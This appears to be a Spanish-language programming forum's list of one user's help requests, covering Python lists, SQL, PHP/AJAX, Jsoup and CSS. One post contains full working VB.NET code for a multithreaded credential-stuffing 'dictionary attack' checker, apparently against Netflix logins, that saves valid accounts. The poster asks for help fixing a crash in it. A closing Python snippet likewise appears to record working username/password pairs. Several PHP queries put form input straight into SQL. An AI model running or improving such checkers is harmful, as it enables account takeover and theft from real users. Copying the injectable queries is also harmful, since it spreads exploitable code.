Temas

podrian ayudarme porfavor

Código [Seleccionar] Expandir

['7111', '7112', 7114, 7115, 7116, 7117, 7118, 7119, 7121, 7123, 7124, 7125, 7127, 7128, 7129, 7130, 7131, 7132, 7133, 7134, 7135, 7136, 7137, 7138, 7140, 7141, 7142, 7143, 7144, 7145, 7146, 7149, 7150, 7151, 7152, 7153, 7154, 7155, 7156, 7157, 7158, 7159, 7160, 7161, 7163, 7165, 7166, 7167, 7168, 7170, 7171, 7172, 7173, 7176, 7177, 7178, 7179, 7180, 7184, 7185, 7186, 7187, 7188, 7189, 7190, 7191, 7192, 7193, 7194, 7195, 7196, 7197, 7198, 7199, 7200, 7201, 7202]

tengo esta lista de numeros podrian darme una idea para que se agregen los numeros que faltan
ejemplo
'7111', '7112','7113', '7114',


gracias

alguien me puede ayudar en esto

Código [Seleccionar] Expandir

arr = ['66', '59', '07/05/2', '020', '07:13', 'a.m.', '135.00 - - 135.00', '66', '61', '07/05/2', '020', '07:15', 'a.m.', '120.00 - - 120.00', '66', '62', '07/05/2', '020', '07:31', 'a.m.', '75.00 - - 75.00', '66', '64', '07/05/2', '020', '07:41', 'a.m.', '60.00 - - 60.00', '66', '65', '07/05/2', '020', '07:44', 'a.m.', '45.00 - - 45.00', '66', '66', '07/05/2', '020', '07:54', 'a.m.', '65.00 - - 65.00', '66', '67', '07/05/2', '020', '08:03', 'a.m.', '90.00 - - 90.00', '66', '68', '07/05/2', '020', '08:06', 'a.m.', '135.00 - - 135.00', '66', '70', '07/05/2', '020', '08:10', 'a.m.', '95.00 - - 95.00', '66', '71', '07/05/2', '020', '08:15', 'a.m.', '0.00 - - 0.00', '66', '72', '07/05/2', '020', '08:18', 'a.m.', '0.00 - - 0.00', '66', '73', '07/05/2', '020', '08:18', 'a.m.', '0.00 - - 0.00', '66', '74', '07/05/2', '020', '08:21', 'a.m.', '85.00 - - 85.00', '66', '75', '07/05/2', '020', '08:26', 'a.m.', '0.00 - - 0.00', '66', '77', '07/05/2', '020', '08:30', 'a.m.', '240.00 - - 240.00', '66', '78', '07/05/2', '020', '08:43', 'a.m.', '45.00 - - 45.00', '66', '79', '07/05/2', '020', '08:44', 'a.m.', '145.00 - - 145.00', '66', '80', '07/05/2', '020', '08:45', 'a.m.', '250.00 - - 250.00', '66', '81', '07/05/2', '020', '08:51', 'a.m.', '45.00 - - 45.00', '66', '82', '07/05/2', '020', '08:54', 'a.m.', '190.00 - - 190.00', '66', '84', '07/05/2', '020', '08:56', 'a.m.', '120.00 - - 120.00', '66', '85', '07/05/2', '020', '08:57', 'a.m.', '170.00 - - 170.00', '66', '86', '07/05/2', '020', '08:59', 'a.m.', '30.00 - - 30.00', '66', '87', '07/05/2', '020', '09:02', 'a.m.', '140.00 - - 140.00', '66', '88', '07/05/2', '020', '09:02', 'a.m.', '175.00 - - 175.00', '66', '89', '07/05/2', '020', '09:16', 'a.m.', '125.00 - - 125.00', '66', '90', '07/05/2', '020', '09:18', 'a.m.', '105.00 - - 105.00', '66', '91', '07/05/2', '020', '09:25', 'a.m.', '75.00 - - 75.00', '66', '92', '07/05/2', '020', '09:27', 'a.m.', '75.00 - - 75.00', '66', '94', '07/05/2', '020', '09:28', 'a.m.', '145.00 - - 145.00', '66', '95', '07/05/2', '020', '09:29', 'a.m.', '100.00 - - 100.00', '66', '97', '07/05/2', '020', '09:31', 'a.m.', '145.00 - - 145.00', '66', '98', '07/05/2', '020', '09:30', 'a.m.', '135.00 - - 135.00', '66', '99', '07/05/2', '020', '09:44', 'a.m.', '30.00 - - 30.00', '67', '01', '07/05/2', '020', '09:47', 'a.m.', '35.00 - - 35.00', '67', '02', '07/05/2', '020', '09:47', 'a.m.', '75.00 - - 75.00', '67', '03', '07/05/2', '020', '09:49', 'a.m.', '320.00 - - 320.00', '67', '04', '07/05/2', '020', '09:48', 'a.m.', '125.00 - - 125.00', '67', '05', '07/05/2', '020', '09:51', 'a.m.', '25.00 - - 25.00', '67', '07', '07/05/2', '020', '09:54', 'a.m.', '150.00 - - 150.00', '67', '08', '07/05/2', '020', '09:55', 'a.m.', '45.00 - - 45.00', '67', '09', '07/05/2', '020', '09:57', 'a.m.', '45.00 - - 45.00', '67', '10', '07/05/2', '020', '10:08', 'a.m.', '150.00 - - 150.00', '67', '13', '07/05/2', '020', '10:16', 'a.m.', '130.00 - - 130.00', '67', '14', '07/05/2', '020', '10:17', 'a.m.', '75.00 - - 75.00', '67', '15', '07/05/2', '020', '10:18', 'a.m.', '100.00 - - 100.00', '67', '16', '07/05/2', '020', '10:20', 'a.m.', '125.00 - - 125.00', '67', '18', '07/05/2', '020', '10:20', 'a.m.', '185.00 - - 185.00', '67', '19', '07/05/2', '020', '10:22', 'a.m.', '60.00 - - 60.00', '67', '21', '07/05/2', '020', '10:31', 'a.m.', '60.00 - - 60.00', '67', '23', '07/05/2', '020', '10:44', 'a.m.', '140.00 - - 140.00', '67', '24', '07/05/2', '020', '10:47', 'a.m.', '400.00 - - 400.00', '67', '26', '07/05/2', '020', '10:55', 'a.m.', '80.00 - - 80.00', '67', '28', '07/05/2', '020', '10:59', 'a.m.', '75.00 - - 75.00', '67', '29', '07/05/2', '020', '11:00', 'a.m.', '150.00 - - 150.00', '67', '32', '07/05/2', '020', '11:18', 'a.m.', '0.00 - - 0.00', '67', '33', '07/05/2', '020', '11:32', 'a.m.', '115.00 - - 115.00', '67', '34', '07/05/2', '020', '11:44', 'a.m.', '85.00 - - 85.00', '67', '35', '07/05/2', '020', '11:51', 'a.m.', '40.00 - - 40.00', '67', '36', '07/05/2', '020', '11:54', 'a.m.', '170.00 - - 170.00', '67', '37', '07/05/2', '020', '12:11', 'p.m.', '0.00 - - 0.00', '67', '38', '07/05/2', '020', '12:11', 'p.m.', '140.00 - - 140.00', '67', '39', '07/05/2', '020', '12:16', 'p.m.', '90.00 - - 90.00', '67', '41', '07/05/2', '020', '12:23', 'p.m.', '70.00 - - 70.00', '67', '42', '07/05/2', '020', '12:26', 'p.m.', '50.00 - - 50.00', '67', '45', '07/05/2', '020', '12:25', 'p.m.', '65.00 - - 65.00', '67', '46', '07/05/2', '020', '12:28', 'p.m.', '60.00 - - 60.00', '67', '47', '07/05/2', '020', '12:31', 'p.m.', '60.00 - - 60.00', '67', '49', '07/05/2', '020', '12:37', 'p.m.', '45.00 - - 45.00', '67', '50', '07/05/2', '020', '12:38', 'p.m.', '20.00 - - 20.00', '67', '51', '07/05/2', '020', '12:39', 'p.m.', '60.00 - - 60.00', '67', '52', '07/05/2', '020', '12:44', 'p.m.', '75.00 - - 75.00', '67', '53', '07/05/2', '020', '12:46', 'p.m.', '40.00 - - 40.00', '67', '54', '07/05/2', '020', '12:54', 'p.m.', '100.00 - - 100.00', '67', '55', '07/05/2', '020', '12:56', 'p.m.', '65.00 - - 65.00', '67', '56', '07/05/2', '020', '01:01', 'p.m.', '60.00 - - 60.00', '67', '57', '07/05/2', '020', '01:03', 'p.m.', '45.00 - - 45.00', '67', '58', '07/05/2', '020', '01:04', 'p.m.', '130.00 - - 130.00', '67', '59', '07/05/2', '020', '01:14', 'p.m.', '240.00 - - 240.00', '67', '60', '07/05/2', '020', '01:20', 'p.m.', '90.00 - - 90.00', '67', '61', '07/05/2', '020', '01:20', 'p.m.', '15.00 - - 15.00', '67', '62', '07/05/2', '020', '01:21', 'p.m.', '75.00 - - 75.00', '67', '63', '07/05/2', '020', '01:36', 'p.m.', '30.00 - - 30.00', '67', '64', '07/05/2', '020', '01:41', 'p.m.', '40.00 - - 40.00', '67', '65', '07/05/2', '020', '01:43', 'p.m.', '60.00 - - 60.00', '67', '66', '07/05/2', '020', '01:53', 'p.m.', '65.00 - - 65.00', '67', '67', '07/05/2', '020', '01:58', 'p.m.', '155.00 - - 155.00', 'Tickets: 87 8295 - - 8,295.00', 'Totals', 'Efectivo 1,584.00', 'Tarjeta de Cr\xc3\xa9dito 0.00', 'Ingresos Efectivo 510.00', 'Ingresos Tarjeta de Cr\xc3\xa9dito 0.00', 'Gastos Total 7,221.00', 'Gastos Tarjeta de Cr\xc3\xa9dito 0.00', 'Total de Efectivo en Gaveta -6,711.00']

tengo este array pero mi duda es como puedo concatenar los 2 primeros elementos cada 6
a que me refiero a estos  66', '59'  66', '59'  '66', '62' y asi susecivamente si alguien pudiera ayduarme gracias

buenas tardes tengo un problema,espero me puedan ayudar

mi problema es este, mylines1 es mi lista como ven la recorro con ciclos for y borro el espacio en blanco del final,bueno  me genera la lista de esta forma

Código [Seleccionar] Expandir

sb=myline.rsplit(" ",1)
mylines1.append(sb)
for a in mylines1:
   for b in a:
         mylines11.append(b)

for index, i in enumerate(mylines11):
   for x in range(1,200):
       if "Transacciones" in i:
           try:
               t1=re.search("(Ingresos.*)",mylines11[index+x])
           except:pass
           if not (t1) :
             
               reporte2=mylines11[index+x]
               reporte1.append(reporte2)
               print reporte2
           else:
               break


Código [Seleccionar] Expandir

Gastos


06/05/20


20


01:37:30


p.m.


[RAYA]
2050.00


06/05/20


20


01:37:42


p.m.


[RENTA]
100.00


06/05/20


20


01:37:53


p.m.


[REPARTIDOR]
220.00


06/05/20


20


01:38:12


p.m.


[TORTILLAS]
310.00


06/05/20


20


01:39:05


p.m.


[FRUTERIA
(ABONO


NOTA
MAY-3)]


200.00


06/05/20


20


01:39:58


p.m.


[QUESO
(ABONO


NOTA
MAY-1)]


200.00


06/05/20


20


01:41:32


p.m.


[GMC]
200.00


06/05/20


20


01:41:42


p.m.


[IMSS]
200.00


06/05/20


20


01:42:00


p.m.


[PEPSI]
382.00


06/05/20


20


01:42:12


p.m.


[MARLIN]
350.00


06/05/20


20


[OXXO]
31.00


01:42:28


p.m.


06/05/20


20


01:45:02


p.m.


[GAS
CILINDRO


(COMPLEMENTO)]


350.00


06/05/20


20


01:45:50


p.m.


[CHILE (ABONO)]
200.00


06/05/20


20


02:08:59


p.m.


[CARNE]
2000.00


Total
6,793.00


Tarjeta de Crédito
0.00


Total de Efectivo y Tarjetas
6,793.00




lo que quiero hacer es esto

Código [Seleccionar] Expandir

[GAS
CILINDRO


(COMPLEMENTO)]

los que estan entre corchetes unirlos en uno solo dentro del list se que existe join pero no me doy una idea podrian hecharme la mano porfavor

Código (sql) [Seleccionar] Expandir

select distinct (select count(cobranza.Id_Solicitud) from cobranza where cobranza.Id_Solicitud=solicitud.Id_Solicitud and Id_Tipo_Movimiento=2 and BandEliminar=1) as cuenta1 ,(select sum(solicitud.saldo) from solicitud ) as cuenta2,DATE(Fecha_Proximo_Pago) AS fechaproximo,CURDATE(),DATEDIFF( CURDATE(),Fecha_Proximo_Pago) AS fecharesta ,

(select IF(fecharesta <0, solicitud.saldo, 0))as figura



from solicitud

alguien podria darme una idea para que me de la suma total de los saldos que cumplan con la condicion menor a 0 si agrego un sum al if me da la suma pero de todos los saldos y yo solo necesito la suma de la condicion,gracias de antemano

[Mod:]

buenas podrian darme una idea para que solo muestre el ultimo registro en vez de todos?, gracias

Código (sql) [Seleccionar] Expandir

SELECT central.sucursal as numero, t_sucursales.nombre_suc, central.fecha, central.inventario FROM central INNER JOIN t_sucursales ON central.sucursal = t_sucursales.numerosucursal WHERE
(
MONTH(central.fecha)  LIKE  '%". $mes ."%'
and YEAR(central.fecha)  LIKE  '%". $año ."%'
and t_sucursales.numerosucursal  LIKE  '%". $numerosucursal ."%'
and t_sucursales.nombre_suc LIKE  '%". $nombresursal ."%'
   )


Mod: Temas sobre Bases de Datos van al subforo de Bases de Datos.

[Mod:]

buenas podrian ayudarme con esta consulta

Código (sql) [Seleccionar] Expandir

SELECT central.sucursal as numero, t_sucursales.nombre_suc, central.fecha, central.regalias FROM central INNER JOIN t_sucursales ON central.sucursal = t_sucursales.numerosucursal WHERE(MONTH(central.fecha) = '$mes' and YEAR(central.fecha) = '$año'" and t_sucursales.numerosucursal = '$numerosucursal' )

or MONTH(central.fecha) = '$mes'

and YEAR(central.fecha) = '$año'

or t_sucursales.numerosucursal = '$numerosucursal'

como podria hacer que por ejemplo si se cumple la primera condicion de mes año y sucursal realize filtro y si no haga la de mes y año o sucursal ,gracias



Mod: Temas sobre Bases de Datos, van al subforo de Base de Datos.

buenos dias,tardes,noches pudieran ayudarme con esto porfavor

tengo esto en mi clase clase_user.php

Código [Seleccionar] Expandir

function update ($id,$nombre,$apellido,$oficio){

$update=$this->bd->query("UPDATE clientes set nombre='$nombre',apellido='$apellido',oficio='$oficio' where id='$id'");
     $afectados=$this->bd->affected_rows;
     return $afectados;
}

en mi js llamado guardar.js tengo esto

Código [Seleccionar] Expandir

function modificar (){
       
    var parametros= $('#datos').serialize();
   
    $.ajax({
        data: parametros,
        url:  'ajax/modificar.php',
        type: 'post',
        success: function (response){
         $('#respuesta').html(response)
       
         cargar();

        }


    });

          }

en mi archivo modificar tengo esto

Código [Seleccionar] Expandir

<?php 
include_once '../config/clase_user.php';


$usuarios= new usuarios();




$caja=$usuarios->update($_POST['nombre'],$_POST['apellidos'],$_POST['oficio']);
if ($caja==1) {

echo"CONEXION EXITOSA";
}else {
echo"Ract FALLIDO";
}



 ?>



en mi vista tengo esto

Código [Seleccionar] Expandir

<!doctype html>
<html lang="en">
  <head>
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

    <!-- Bootstrap CSS -->
    <link rel="stylesheet" href="css/bootstrap.min.css">
    <link rel="stylesheet" type="text/css" href="css/style.css">

    <title>Hello, world!</title>
  </head>
  <body onload="cargar()">
  <?php  
 
  ?>
     <div id="respuesta"></div>
  <form id="datos" autocomplete="off">
  <div class="form-group">
   
    <label>Nombre</label>
    <input type="text" class="form-control" id="nombre" name="nombre"  placeholder="Name" >
  </div>
  <div class="form-group">
    <label>Apellidos</label>
    <input type="text" class="form-control" id="apellidos" name="apellidos"  placeholder="Name" >
  </div>
  <div class="form-group">
    <label>Oficio</label>
    <input type="text" class="form-control" id="oficio" name="oficio"  placeholder="Name" >
  </div>


  <button type="button" onclick="guardar()" class="btn btn-dark">Enviar</button>

</form>
     <table class="posclas table">
  <thead class="thead-dark">
    <tr>
      <th scope="col">Nombre</th>
      <th scope="col">Apellido</th>
      <th scope="col">Oficio</th>
   
    </tr>
  </thead>
  <tbody id="cargar">
   
   
  </tbody>
</table>

<div class="modal fade" id="modalEdicion" tabindex="-1" role="dialog" aria-labelledby="myModalLabel">

  <div class="modal-dialog modal-sm" role="document">
    <div class="modal-content">
      <div class="modal-header">
        <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
        <h4 class="modal-title" id="myModalLabel">Actualizar datos</h4>
      </div>
      <div class="modal-body">
          <input type="text" id="id" name="id">
          <label>Nombre</label>
          <input type="text" name="nombre" id="nombre" class="form-control input-sm">
         
          <label>apellidos</label>
          <input type="text" name="apellidos" id="apellidos" class="form-control input-sm">
<label>oficio</label>

          <input type="text"  name="oficio" id="oficio" class="form-control input-sm">
         
      </div>
      <div class="modal-footer">
        <button type="button" class="btn btn-warning" onclick="modificar()" id="actualizadatos" data-dismiss="modal">Actualizar</button>
       
      </div>
    </div>
  </div>
</div>
   

    <!-- Optional javascript -->
    <!-- jQuery first, then Popper.js, then Bootstrap JS -->
    <script type="text/javascript" src="js/jquery-3.4.1.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js" integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1" crossorigin="anonymous"></script>
    <script src="js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
    <script type="text/javascript" src="js/guardar.js"></script>
  </body>
</html>


mi pregunta es como podria pasar esos valores al modal que viene ahi adentro por mas que trato no puedo comprender esta parte en ajax,gracias

 esto es un diccionary attack  pero despues de un rato de funcionar por ejemplo llega a la cuenta 76000 se crasea y me dice que fault riched20.dll  ,les agradeceria mucho que me pudieran apoyar en este error

Código [Seleccionar] Expandir

Imports System.IO
Imports System.Runtime.InteropServices
Imports System.Text.RegularExpressions
Imports System.Threading
Imports xNet


Public Class Form1

   Private dragging As Boolean
   Private offset As Point
   Dim date1 As String
   Public int_0 As Integer
   Public int_1 As Integer
   Public int_2 As Integer
   Public int_3 As Integer
   Public int_4 As Integer
   Public int_5 As Integer
   Public int_6 As Integer
   Public int_7 As Integer
   Public object_0 As Object = New Object
   Private point_0 As Point
   ' Public proxyType_0 As ProxyType
   Public queue_0 As Queue
   Public random_0 As Random = New Random
   Public string_0 As String()
   Public string_1 As String()
   Public string_2 As String() = New String(0 - 1) {}
   Public string_3 As String() = New String(0 - 1) {}
   Private string_5 As String = ""
   Public thread_0 As Thread()
   Private Declare Function CoInternetSetFeatureEnabled Lib "urlmon.dll" (int_8 As Integer, <MarshalAs(UnmanagedType.U4)> int_9 As Integer, bool_0 As Boolean) As <MarshalAs(UnmanagedType.[Error])> Integer
   Private Declare Function CreateRoundRectRgn Lib "Gdi32.dll" (int_8 As Integer, int_9 As Integer, int_10 As Integer, int_11 As Integer, int_12 As Integer, int_13 As Integer) As IntPtr
   Private testfile As String = Application.StartupPath & "\Netflix\Good" + "_" & DateTime.Now.ToString("M-d-yyyy_h-m") + ".txt"
   Public Sub New()
       Me.InitializeComponent()
       Control.CheckForIllegalCrossThreadCalls = False
       ' Me.text_proxyType.SelectedIndex = 0
       Me.NumericUpDown1.Value = 100
       RichTextBox1.SelectionAlignment = HorizontalAlignment.Center
   End Sub
   Private Sub Panel1_MouseDown(sender As Object, e As MouseEventArgs) Handles Panel1.MouseDown
       Me.dragging = True
       Me.offset = e.Location
   End Sub

   Private Sub Panel1_MouseMove(sender As Object, e As MouseEventArgs) Handles Panel1.MouseMove
       If Me.dragging Then
           Dim point As Point = MyBase.PointToScreen(e.Location)
           MyBase.Location = New Point((point.X - Me.offset.X), (point.Y - Me.offset.Y))
           Cursor.Current = Cursors.NoMove2D
       End If
   End Sub

   Private Sub Panel1_MouseUp(sender As Object, e As MouseEventArgs) Handles Panel1.MouseUp
       Me.dragging = False
   End Sub
   Protected Overrides ReadOnly Property CreateParams() As CreateParams
       Get
           Dim CP As CreateParams = MyBase.CreateParams
           CP.Style = &HA0000
           Return CP
       End Get
   End Property

   Private Sub Label1_Click(sender As Object, e As EventArgs) Handles Label1.Click
       End
   End Sub

   Private Sub Label2_Click(sender As Object, e As EventArgs) Handles Label2.Click
       WindowState = FormWindowState.Minimized
   End Sub
   Private Sub Label10_Click(sender As Object, e As EventArgs) Handles Label10.Click
       MsgBox("aft", vbInformation, "Dz All Checkers 1.0")
   End Sub

   Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
       Using dialog As OpenFileDialog = New OpenFileDialog
           dialog.Filter = "Text files | * .txt"
           If (dialog.ShowDialog = DialogResult.OK) Then
               Me.string_1 = Enumerable.ToArray(Of String)(Enumerable.Distinct(Of String)(File.ReadAllLines(dialog.FileName)))
               Me.int_1 = Me.string_1.Length
               Me.MetroLabel_1554.Text = Me.int_1.ToString
           End If
       End Using
   End Sub

   Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click

       Using dialog As OpenFileDialog = New OpenFileDialog
           dialog.Filter = "Text files | * .txt"
           If (dialog.ShowDialog = DialogResult.OK) Then
               Me.string_0 = Enumerable.ToArray(Of String)(Enumerable.Distinct(Of String)(File.ReadAllText(dialog.FileName).Replace(";", ":").Split(New Char() {ChrW(10)})))
               Me.int_0 = Me.string_0.Length
               Me.int_6 = Me.int_0
               Me.MetroLabel_1555.Text = Me.int_0.ToString
           End If
       End Using
   End Sub
   Public Sub method_5()

       ' Dim proxyAddress As String = Me.string_1(Me.random_0.[Next](0, Me.int_1))
       While Me.queue_0.Count > 0
           Dim obj As Object = Me.object_0
           Dim flag As Boolean = False
           Dim obj2 As Object
           Dim text As String
           Try
               Dim expr_29 As Object = obj
               obj2 = expr_29
               Monitor.Enter(expr_29, flag)
               Try
                   text = Me.queue_0.Peek().ToString().TrimEnd(New Char() {vbCr}).Trim()
                   Me.queue_0.Dequeue()
               Catch ex As Exception

               End Try

           Finally
               If flag Then
                   Monitor.[Exit](obj2)
               End If
           End Try
           Dim array As String() = text.Split(New Char() {":"c})
           Try

               Using httpRequest As HttpRequest = New HttpRequest()
                   '  httpRequest.Proxy = ProxyClient.Parse(Me.proxyType_0, proxyAddress)
                   Dim cookies As CookieDictionary = New CookieDictionary(False)
                   httpRequest.Cookies = cookies
                   httpRequest.IgnoreProtocolErrors = True
                   httpRequest.ConnectTimeout = TextBox6.Text '25000
                   httpRequest.AllowAutoRedirect = True
                   httpRequest.KeepAlive = True
                   httpRequest.UserAgent = Http.ChromeUserAgent()
                   httpRequest.Referer = TextBox2.Text
                   httpRequest.KeepAliveTimeout = TextBox7.Text

                   '
                   'Dim string_ As String =httpRequest.[Get]("http://www..org/index.php/account/login").ToString()
                   Dim string_ As String = httpRequest.Post(TextBox2.Text).ToString()
                   ' Dim value As String = Form1.smethod_0(string_, "data-reactid=""36""/><input type=""hidden"" name=""authURL"" value=""", """ data-reactid")
                   httpRequest.AddParam(TextBox4.Text, array(0))
                   httpRequest.AddParam(TextBox5.Text, array(1))

                   Dim text2 As String = httpRequest.Post(TextBox2.Text).ToString()
                   RichTextBox2.Text = text2
                   If text2.Contains(TextBox3.Text) Then
                       Dim str As String
                       If text2.Contains(TextBox3.Text) Then
                           str = "cuenta"
                       Else
                           str = "_"
                       End If
                       obj = Me.object_0
                       Dim flag2 As Boolean = False
                       Try
                           Dim expr_222 As Object = obj
                           obj2 = expr_222
                           Monitor.Enter(expr_222, flag2)
                           System.Array.Resize(Of String)(Me.string_2, Me.int_2 + 1)
                           Me.string_2(Me.int_2) = "---------------------Account---------------------" & vbNewLine & text & vbNewLine + "Subscription = " + str & vbNewLine
                           Me.int_2 += 1
                           Me.int_5 += 1
                           Me.int_6 -= 1
                           Continue While
                       Finally
                           If flag2 Then
                               Monitor.[Exit](obj2)
                           End If
                       End Try
                   End If
                   obj = Me.object_0
                   Dim flag3 As Boolean = False
                   Try
                       Dim expr_29E As Object = obj
                       obj2 = expr_29E
                       Monitor.Enter(expr_29E, flag3)
                       Me.int_3 += 1
                   Finally
                       If flag3 Then
                           Monitor.[Exit](obj2)
                       End If
                   End Try
                   Me.int_5 += 1
                   Me.int_6 -= 1
               End Using
           Catch
               Me.int_7 += 1
               Me.queue_0.Enqueue(text)
               '  proxyAddress = Me.string_1(Me.random_0.[Next](0, Me.int_1))
           End Try
       End While
       If Me.int_5 = Me.int_0 Then
           Me.method_6()
       End If
   End Sub

   Public Sub method_6()
       For i As Integer = 0 To Me.int_4 - 1
           Me.thread_0(i) = New Thread(New ThreadStart(AddressOf Me.method_5))
           Me.thread_0(i).IsBackground = True
           Me.thread_0(i).Abort()
       Next
   End Sub
   Public Shared Function smethod_0(ByVal string_6 As String, ByVal string_7 As String, ByVal string_8 As String) As String
       On Error Resume Next
       Return Regex.Match(string_6, (string_7 & "(.*?)" & string_8)).Groups.Item(1).Value
   End Function
   Private Sub TextBox1_TextChanged(sender As Object, e As EventArgs) Handles TextBox1.TextChanged
       Dim num As Integer = 100
       Try
           num = Integer.Parse(Me.TextBox1.Text)
       Catch obj1 As Exception
       End Try
       Me.NumericUpDown1.Value = num
   End Sub

   Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
       Me.MetroLabel_1558.Text = Me.int_2.ToString
       Me.MetroLabel_1556.Text = Me.int_3.ToString
       Me.Label9.Text = Me.int_5.ToString
       '    Me.Label9.Text = Me.int_7.ToString
       If (Me.int_2 <> Enumerable.Count(Of String)(Me.RichTextBox1.Lines)) Then
           Me.RichTextBox1.Lines = Me.string_2
       End If
   End Sub

   Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
       Try
           Directory.CreateDirectory(String.Concat("Netflix\"))
           If Me.int_0 = 0 Then
               MessageBox.Show("Load Accounts.")
               '  ElseIf Me.int_1 = 0 Then
               '     MessageBox.Show("Load Proxies.")
           Else
               ' Select Case Me.text_proxyType.SelectedIndex
               ' Case 0
               'Me.proxyType_0 = ProxyType.Http
               'Case 1
               'Me.proxyType_0 = ProxyType.Socks4
               'Case 2
               'Me.proxyType_0 = ProxyType.Socks5
               'Case Else
               'MessageBox.Show("Choose Proxy type")
               'Return
               'End Select
               Me.int_2 = 0
               Me.int_3 = 0
               Me.string_2 = Nothing
               Me.string_3 = Nothing
               Me.int_5 = 0
               Me.int_7 = 0
               Me.int_6 = Me.int_0
               Me.queue_0 = New Queue()

               For i As Integer = 0 To Me.int_0 - 1
                   Me.queue_0.Enqueue(Me.string_0(i))
               Next
               Me.int_4 = Convert.ToInt32(Me.NumericUpDown1.Value)
               Me.thread_0 = New Thread(Me.int_4 - 1) {}
               For j As Integer = 0 To Me.int_4 - 1
                   Me.thread_0(j) = New Thread(New ThreadStart(AddressOf Me.method_5))
                   Me.thread_0(j).IsBackground = True
                   Me.thread_0(j).Start()
               Next
               Me.Timer1.Enabled = True
           End If
       Catch ex As Exception

       End Try

   End Sub

   Private Sub RichTextBox1_TextChanged(sender As Object, e As EventArgs) Handles RichTextBox1.TextChanged
       Try
           RichTextBox1.SaveFile(testfile, RichTextBoxStreamType.PlainText)
       Catch ex As Exception

       End Try
   End Sub

   Private Sub Label15_Click(sender As Object, e As EventArgs) Handles Label15.Click, Label16.Click

   End Sub
End Class


[MOD: Etiqueta GeSHi.]

buenos dias,podrian ayudarme con este problema

Código (java) [Seleccionar] Expandir

try {
Document doc = Jsoup.connect("http://192.168.1.238/gfx/nuevacarpeta/index.php").get();

Element elem = doc.getElementById("llanta1");
String apre = elem.attr("value");


textView1.setText(apre);

String cadena = textView1.getText().toString();

int num1 = Integer.parseInt(cadena);

Toast.makeText(this, num1 Toast.LENGTH_SHORT).show();
}
catch (IOException e) {
e.printStackTrace();
}


el problema esta en que cuando muestro el texto extraido por jsoup en un textview si me lo muestra,pero intento convertirlo a entero y tratar de mostrarlo o usarlo en un if y se crashea,les agradecería mucho la ayuda.

MOD: Etiqueta GeSHi.

buenas ,alguien sabe como automatizar un programa necesito que realize algunas acciones,lamentablemente su api no funciona del todo bien,alguien sabe alguna alternativa a las macros o imagesearch(o si alguien sabe alguna forma de mejorar el imagesearch)
solo necesito ideas
gracias

alguien me puede decir porfavor como hago una especie de broadcast,auto mensaje en un chat con jquery

lo hago asi , el problema es que si lo envia pero muchas veces como lo utilizo en un ajax

Código [Seleccionar] Expandir

function broadcastchat() {
jQuery('.mensagens').append(mensajee);

   }

como podria hacerle para que solo lo envie una vez ayuda o si me podrian dar informacion que otro tipo de cosa puedo hacer mejor gracias

Código (html5) [Seleccionar] Expandir

<html>
<head>
<title>Menu Desplegable</title>
<link rel="stylesheet" href="estilos.css">
</head>
<body>
<div id="header">
<nav>
<ul class="nav">
<li><a href="">Inicio</a></li>
<li><a href="">Nuestra universidad</a>
<ul>
<li><a href="">Submenu1</a></li>
<li><a href="">Submenu2</a></li>
<li><a href="">Submenu3</a></li>
<li><a href="">Submenu4</a>

</ul>
</li>
<li><a href="">oferta educativa</a>
<ul>
<li><a href="">Submenu1</a></li>
<li><a href="">Submenu2</a></li>
<li><a href="">Submenu3</a></li>
<li><a href="">Submenu4</a></li>
</ul>
</li>
<li><a href="">Marco juridico</a></li>
<li><a href="">autoridares colegiadas </a></li>
<li><a href="">investigacion </a></li>
<li><a href="">cultura </a></li>
<li><a href="">deportes </a></li>
</ul>
</nav>
</div>
</body>
</html>


Código (css) [Seleccionar] Expandir


* {
margin:0px;
padding:0px;
}

#header {
margin-top:0px auto;
width: 100%;
overflow: hidden;
    height: 150px;
    position: fixed;
               z-index: 100;
}

ul, ol {
list-style:none;
}

.nav {
top:-20px;

   position: absolute;
   left:190px;
   right:0;
margin:20px auto;
max-width:1000px;
width:90%;

}

.nav > li {
float:left;
}

.nav li a {
background-color:#FFD331;
color:#fff;
text-decoration:none;
padding:10px 12px;
display:block;
}

.nav li a:hover {
background-color:#082C63;
}

.nav li ul {
display:none;
position:absolute;
min-width:140px;
}

.nav li:hover > ul {
display:block;
}

.nav li ul li {
position:relative;
}

.nav li ul li ul {
right:-140px;
top:0px;
}


alguien sabe por que el menu no se queda asi cuando redusco la ventana del chrome


queda asi cuando redusco la ventana


si me pudieran ayudar a solucionar esto ,gracias

alguien me podria facilitar informacion de como se hace esto ?

[youtube=640,360]https://www.youtube.com/watch?v=iGJuvbuRjrs[/youtube]

en matlab ay documentacion pero depender de matlab es algo tedioso

alguien tiene idea de como se hace esto en cualquier otro lenguaje ?

espero y me puedan ayudar
gracias

alguien me podria dar una idea para que despues de extraer los links con este ciclo utilizando beautifulsoup pueda tomar los links con el nombre media

Código [Seleccionar] Expandir

for a in soup.find_all('a',href=True):

ejemplo:
http://www.asdad.com
http://www.asdmediaad.com
http://www.asdkd.com

y en este caso tome el segundo que es este
http://www.asdmediaad.com

lo que solo necesito es una expresion regular o alguna forma no se me ocurre si alguien pudiera hecharme la mano gracias

alguien me puede decir por que beautifulsoup no extrae correctamente en windows 7 lo raro es que si funciona en windows xp probe cambiando la compatibilidad pero nada

Código [Seleccionar] Expandir

respuesta=br.response().read()
        soup = BeautifulSoup(respuesta)
        e=soup.findAll("table", {"class" : "Table3"})
        print e
        if(respuesta.find("Bem vindo a sua conta!") > 0):
            print  li + ":" + lin + 'si'
            r = br.open(url3)
            text_file = open("Output.txt", "a")
            text_file.write("cuenta: %s  password: %s\n" % (li,lin))
            text_file.close()
            text_file1 = open("cuentas.html", "a")
